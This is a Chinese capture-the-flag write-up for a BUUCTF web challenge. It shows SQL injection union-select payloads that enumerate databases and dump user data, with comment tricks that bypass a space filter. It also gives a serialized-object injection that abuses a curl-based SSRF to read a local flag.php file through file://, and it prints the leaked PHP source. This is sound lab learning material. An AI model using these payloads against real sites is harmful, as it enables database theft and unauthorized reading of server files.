1.在注册后发现这个界面,猜测是不是存在注入点
http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and1
http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and0
2.order by得到长度为4(这里存在对空格的过滤)
3.爆库名
/view.php?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
4.继续查询中发现data存的是个序列化后的数据,猜测后台是通过反序列化data后输出前端结果
/view.php?no=-1++union++select++1,group_concat(data),3,4++from++users--+
5.查看robots.txt发现一个备份文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function \_\_construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl\_init();
curl\_setopt($ch, CURLOPT\_URL, $url);
curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);
$output = curl\_exec($ch);
$httpCode = curl\_getinfo($ch, CURLINFO\_HTTP\_CODE);
if($httpCode == 404) {
return 404;
}
curl\_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg\_match("/^(((http(s?))\\:\\/\\/)?)(\[0-9a-zA-Z\\-\]+\\.)+\[a-zA-Z\]{2,6}(\\:\[0-9\]+)?(\\/\\S\*)?$/i", $blog);
}
}
看完源码的我面无表情,看了大佬的WP才知道这里是考SSRF漏洞
6.利用ssrf,的到flag
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
再读一遍源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function \_\_construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl\_init();
/\*curl\_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用\*/
curl\_setopt($ch, CURLOPT\_URL, $url);
curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);
/\*
curl\_setopt — 为给定的cURL会话句柄设置一个选项。
说明:
bool curl\_setopt ( resource $ch , int $option , mixed $value )
参数:
ch:由 curl\_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT\_XXX选项。
value:将设置在option选项上的值。
对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
CURLOPT\_RETURNTRANSFER:将curl\_exec()获取的信息以文件流的形式返回,而不是直接输出。
对于下面的这些option的可选参数,value应该被设置一个string类型的值:
CURLOPT\_URL:需要获取的URL地址,也可以在curl\_init()函数中设置。
###################
文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
\*/
$output = curl\_exec($ch);
/\*curl\_exec :执行 cURL 会话\*/
$httpCode = curl\_getinfo($ch, CURLINFO\_HTTP\_CODE);
/\*
curl\_getinfo — 获取一个cURL连接资源句柄的信息
说明:
mixed curl\_getinfo ( resource $ch \[, int $opt = 0 \] )获取最后一次传输的相关信息。
参数:
ch 由 curl\_init() 返回的 cURL 句柄。
opt:这个参数可能是以下常量之一:
CURLINFO\_HTTP\_CODE : 最后一个收到的HTTP代码
\*/
if($httpCode == 404) {
return 404;
}
curl\_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg\_match("/^(((http(s?))\\:\\/\\/)?)(\[0-9a-zA-Z\\-\]+\\.)+\[a-zA-Z\]{2,6}(\\:\[0-9\]+)?(\\/\\S\*)?$/i", $blog);
}
}
PS:
所以这里的重点是 curl_setopt()和curl_exec()这两个函数,在注册界面直接输入file:///var/www/html/flag.php存在过滤,这时候可以利用SSRF来绕过过滤
https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/
https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html
手机扫一扫
移动阅读更方便
你可能感兴趣的文章